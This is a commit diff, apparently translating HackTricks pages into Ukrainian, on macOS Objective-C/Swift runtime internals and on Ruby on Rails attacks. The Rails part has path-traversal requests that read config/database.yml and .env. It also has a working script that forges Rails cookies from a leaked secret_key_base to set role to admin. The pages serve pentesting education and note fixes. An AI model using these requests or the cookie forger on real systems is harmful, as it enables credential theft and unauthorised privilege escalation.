Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 15:04:19 +00:00
parent 599d3c272d
commit 051f570965
2 changed files with 252 additions and 45 deletions

View File

@ -4,9 +4,9 @@
## CFRuntimeClass
CF\* об'єкти походять з CoreFoundation, який надає більше 50 класів об'єктів, таких як `CFString`, `CFNumber` або `CFAllocator`.
CF*-об'єкти походять із CoreFoundation, який містить понад 50 класів об'єктів, таких як `CFString`, `CFNumber` або `CFAllocator`.
Усі ці класи є екземплярами класу `CFRuntimeClass`, який при виклику повертає індекс до `__CFRuntimeClassTable`. CFRuntimeClass визначено в [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
Усі ці класи є екземплярами класу `CFRuntimeClass`, який при виклику повертає індекс у таблицю `__CFRuntimeClassTable`. CFRuntimeClass визначено в [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -55,40 +55,51 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### Використовувані секції пам'яті
### Memory sections used
Більшість даних, що використовуються середовищем виконання ObjectiveC, змінюватимуться під час виконання, тому воно використовує деякі секції з сегмента **\_\_DATA** в пам'яті:
Більшість даних, які використовує ObjectiveC runtime, змінюються під час виконання, тому в пам'яті використовуються кілька секцій з сімейства сегментів MachO `__DATA`. Історично це включало:
- **`__objc_msgrefs`** (`message_ref_t`): Посилання на повідомлення
- **`__objc_ivar`** (`ivar`): Змінні екземпляра
- **`__objc_data`** (`...`): Змінні дані
- **`__objc_classrefs`** (`Class`): Посилання на класи
- **`__objc_superrefs`** (`Class`): Посилання на суперкласи
- **`__objc_protorefs`** (`protocol_t *`): Посилання на протоколи
- **`__objc_selrefs`** (`SEL`): Посилання на селектори
- **`__objc_const`** (`...`): Дані класу `r/o` та інші (надіємось) постійні дані
- **`__objc_imageinfo`** (`version, flags`): Використовується під час завантаження зображення: Версія наразі `0`; Прапори вказують на підтримку попередньо оптимізованого GC тощо.
- **`__objc_protolist`** (`protocol_t *`): Список протоколів
- **`__objc_nlcatlist`** (`category_t`): Вказівник на не-ліниві категорії, визначені в цьому бінарному файлі
- **`__objc_catlist`** (`category_t`): Вказівник на категорії, визначені в цьому бінарному файлі
- **`__objc_nlclslist`** (`classref_t`): Вказівник на не-ліниві класи Objective-C, визначені в цьому бінарному файлі
- **`__objc_classlist`** (`classref_t`): Вказівники на всі класи Objective-C, визначені в цьому бінарному файлі
- `__objc_msgrefs` (`message_ref_t`): посилання на повідомлення
- `__objc_ivar` (`ivar`): поля екземпляра
- `__objc_data` (`...`): змінні дані
- `__objc_classrefs` (`Class`): посилання на класи
- `__objc_superrefs` (`Class`): посилання на суперкласи
- `__objc_protorefs` (`protocol_t *`): посилання на протоколи
- `__objc_selrefs` (`SEL`): посилання на селектори
- `__objc_const` (`...`): r/o дані класів та інші (сподіваємося) константні дані
- `__objc_imageinfo` (`version, flags`): використовується під час завантаження образу: версія наразі `0`; прапорці вказують підтримку попередньої оптимізації GC тощо
- `__objc_protolist` (`protocol_t *`): список протоколів
- `__objc_nlcatlist` (`category_t`): вказівник на Non-Lazy Categories, визначені в цьому бінарнику
- `__objc_catlist` (`category_t`): вказівник на Categories, визначені в цьому бінарнику
- `__objc_nlclslist` (`classref_t`): вказівник на Non-Lazy ObjectiveC класи, визначені в цьому бінарнику
- `__objc_classlist` (`classref_t`): вказівники на всі ObjectiveC класи, визначені в цьому бінарнику
Воно також використовує кілька секцій у сегменті **`__TEXT`** для зберігання постійних значень, якщо запис у цій секції неможливий:
Воно також використовує кілька секцій у сегменті `__TEXT` для зберігання констант:
- **`__objc_methname`** (C-String): Імена методів
- **`__objc_classname`** (C-String): Імена класів
- **`__objc_methtype`** (C-String): Типи методів
- `__objc_methname` (CString): імена методів
- `__objc_classname` (CString): імена класів
- `__objc_methtype` (CString): типи методів
### Кодування типів
Сучасні macOS/iOS (особливо на Apple Silicon) також розміщують ObjectiveC/Swift метадані в:
Objective-C використовує деяке манглювання для кодування селекторів і типів змінних простих і складних типів:
- `__DATA_CONST`: незмінні ObjectiveC метадані, які можуть бути розділені readonly між процесами (наприклад, багато списків `__objc_*` тепер знаходяться тут).
- `__AUTH` / `__AUTH_CONST`: сегменти, що містять вказівники, які повинні бути автентифіковані при завантаженні або під час використання на arm64e (Pointer Authentication). Ви також побачите `__auth_got` в `__AUTH_CONST` замість старих `__la_symbol_ptr`/`__got` тільки. При instrumenting або hooking пам'ятайте враховувати як `__got`, так і `__auth_got` записи в сучасних бінарниках.
- Примітивні типи використовують першу літеру типу `i` для `int`, `c` для `char`, `l` для `long`... і використовують велику літеру, якщо це беззнаковий тип (`L` для `unsigned Long`).
- Інші типи даних, літери яких використовуються або є спеціальними, використовують інші літери або символи, такі як `q` для `long long`, `b` для `bitfields`, `B` для `booleans`, `#` для `classes`, `@` для `id`, `*` для `char pointers`, `^` для загальних `pointers` і `?` для `undefined`.
- Масиви, структури та об'єднання використовують `[`, `{` і `(`
Для довідки про dyld preoptimization (наприклад, selector uniquing та попередні обчислення класів/протоколів) і чому багато з цих секцій вже "виправлені" при походженні з shared cache, перегляньте Apple `objc-opt` джерела та примітки dyld shared cache. Це впливає на те, де і як ви можете патчити метадані під час виконання.
#### Приклад оголошення методу
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC використовує манглінг для кодування типів селекторів та змінних для простих і складних типів:
- Примітивні типи використовують першу літеру типу: `i` для `int`, `c` для `char`, `l` для `long`... і використовують велику літеру у випадку беззнакового типу (наприклад `L` для `unsigned long`).
- Інші типи даних використовують інші літери або символи, наприклад `q` для `long long`, `b` для bitfields, `B` для булевих, `#` для класів, `@` для `id`, `*` для `char *`, `^` для загальних вказівників і `?` для невизначеного.
- Масиви, структури та союзи використовують `[`, `{` та `(` відповідно.
#### Example Method Declaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
@ -99,24 +110,24 @@ Objective-C використовує деяке манглювання для к
- `id` кодується як `@`
- `char *` кодується як `*`
Повне кодування типу для методу:
Повне кодування типів для методу:
```less
@24@0:8@16*20^@24
```
#### Детальний аналіз
#### Детальний розбір
1. **Тип повернення (`NSString *`)**: Закодовано як `@` з довжиною 24
2. **`self` (екземпляр об'єкта)**: Закодовано як `@`, на зсуві 0
3. **`_cmd` (селектор)**: Закодовано як `:`, на зсуві 8
4. **Перший аргумент (`char * input`)**: Закодовано як `*`, на зсуві 16
5. **Другий аргумент (`NSDictionary * options`)**: Закодовано як `@`, на зсуві 20
6. **Третій аргумент (`NSError ** error`)**: Закодовано як `^@`, на зсуві 24
1. Тип повернення (`NSString *`): Кодується як `@` з довжиною 24
2. `self` (екземпляр об'єкта): Кодується як `@`, зі зсувом 0
3. `_cmd` (селектор): Кодується як `:`, зі зсувом 8
4. Перший аргумент (`char * input`): Кодується як `*`, зі зсувом 16
5. Другий аргумент (`NSDictionary * options`): Кодується як `@`, зі зсувом 20
6. Третій аргумент (`NSError ** error`): Кодується як `^@`, зі зсувом 24
**З селектором + кодуванням ви можете відтворити метод.**
За допомогою селектора + кодування можна відновити метод.
### **Класи**
### Класи
Класи в Objective-C - це структура з властивостями, вказівниками на методи... Можна знайти структуру `objc_class` у [**джерелі коду**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Класи в ObjectiveC — це C structs з властивостями, вказівниками на методи тощо. Можна знайти struct `objc_class` у [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Цей клас використовує деякі біти поля isa, щоб вказати певну інформацію про клас.
Цей клас використовує деякі біти поля `isa`, щоб позначати інформацію про клас.
Потім структура має вказівник на структуру `class_ro_t`, що зберігається на диску, яка містить атрибути класу, такі як його ім'я, базові методи, властивості та змінні екземпляра.\
Під час виконання програми використовується додаткова структура `class_rw_t`, що містить вказівники, які можуть бути змінені, такі як методи, протоколи, властивості...
Далі структура має вказівник на структуру `class_ro_t`, збережену на диску, яка містить атрибути класу, такі як його назва, базові методи, властивості та змінні екземпляру. Під час виконання використовується додаткова структура `class_rw_t`, що містить вказівники, які можна змінювати — наприклад, методи, протоколи, властивості.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Сучасні представлення об’єктів в пам'яті (arm64e, tagged pointers, Swift)
### Nonpointer `isa` and Pointer Authentication (arm64e)
На Apple Silicon і в сучасних рантаймах ObjectiveC `isa` не завжди є звичайним вказівником на клас. На arm64e це фасетована структура, яка може також містити Pointer Authentication Code (PAC). Залежно від платформи вона може включати поля на кшталт `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` і сам вказівник на клас (зміщений або зі знаком). Це означає, що сліпе дереференсування перших 8 байтів ObjectiveC об’єкта не завжди дасть дійсний вказівник `Class`.
Практичні зауваги під час відладки на arm64e:
- LLDB зазвичай видаляє біти PAC при друку ObjectiveC об’єктів за допомогою `po`, але при роботі з сирими вказівниками може знадобитися вручну зняти аутентифікацію:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Багато вказівників на функції/дані в MachO розташовані в `__AUTH`/`__AUTH_CONST` і вимагають аутентифікації перед використанням. Якщо ви робите interposing або rebinding (наприклад, у стилі fishhook), переконайтесь, що ви також обробляєте `__auth_got` на додаток до застарілого `__got`.
Для детального вивчення гарантій мови/ABI та `<ptrauth.h>` intrinsics, доступних у Clang/LLVM, див. посилання в кінці цієї сторінки.
### Tagged pointer objects
Деякі класи Foundation уникають розміщення в купі шляхом кодування корисного навантаження об’єкта безпосередньо у значенні вказівника (tagged pointers). Виявлення відрізняється залежно від платформи (наприклад, найстарший біт на arm64, найменш значущий на x86_64 macOS). Tagged objects не мають звичайного `isa`, збереженого в пам'яті; runtime визначає клас за бітами тегу. Під час інспектування довільних значень `id`:
- Використовуйте runtime API замість доступу до поля `isa`: `object_getClass(obj)` / `[obj class]`.
- У LLDB просто `po (id)0xADDR` правильно надрукує інстанси tagged pointer, оскільки runtime залучається для визначення класу.
### Swift heap objects and metadata
Чисті класи Swift також є об’єктами з заголовком, що вказує на Swift metadata (не ObjectiveC `isa`). Для інспектування живих процесів Swift без їх модифікації можна використовувати інструментарій Swift — `swift-inspect`, який використовує бібліотеку Remote Mirror для читання runtime metadata:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Це дуже корисно для відображення heap-об'єктів Swift та відповідностей протоколам під час реверсінгу змішаних Swift/ObjC додатків.
---
## Шпаргалка з інспекції часу виконання (LLDB / Frida)
### LLDB
- Вивести об'єкт або клас за сирим вказівником:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Переглянути клас ObjectiveC за вказівником на `self` методу об'єкта в брейкпоінті:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Dump секції, що несуть ObjectiveC метадані (примітка: багато тепер у `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Зчитайте пам'ять відомого об'єкта класу, щоб перейти до `class_ro_t` / `class_rw_t` під час реверсінгу списків методів:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida надає високорівневі runtime-бріджі, які дуже корисні для виявлення та інструментування живих об'єктів без символів:
- Перераховувати класи та методи, визначати фактичні імена класів під час виконання (runtime) та перехоплювати ObjectiveC selectors:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: перераховує типи Swift та взаємодіє з екземплярами Swift (потребує останньої версії Frida; дуже корисно на Apple Silicon цілях).
---
## Посилання
- Clang/LLVM: Pointer Authentication і `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime заголовки (tagged pointers, nonpointer `isa`, etc.) наприклад, `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Ruby трюки
{{#include ../../banners/hacktricks-training.md}}
## Завантаження файлів для RCE
## Завантаження файлу для RCE
Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі каталоги, такі як `config/initializers/`, може призвести до віддаленого виконання коду (RCE) в додатках Ruby on Rails.
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Поради:
- Інші boot/eager-load локації, які виконуються при старті додатка, також небезпечні, якщо доступні на запис (наприклад, `config/initializers/` — класичний випадок). Якщо ви знайдете довільне завантаження файлу, яке потрапляє будь-куди під `config/` і пізніше буде evaluated/required, ви можете отримати RCE під час boot.
- Шукайте dev/staging builds, які копіюють user-controlled файли в образ контейнера, де Rails завантажить їх при boot.
## Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Notes:
- Старі додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Відповідно налаштуйте солі, шифр і серіалізатор.
- У разі компрометації/оцінювання змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies.
## Див. також (вразливості специфічні для Ruby/Rails)
- Ruby deserialization та class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection у Ruby engines (ERB/Haml/Slim тощо):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Посилання
- Оголошення безпеки Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}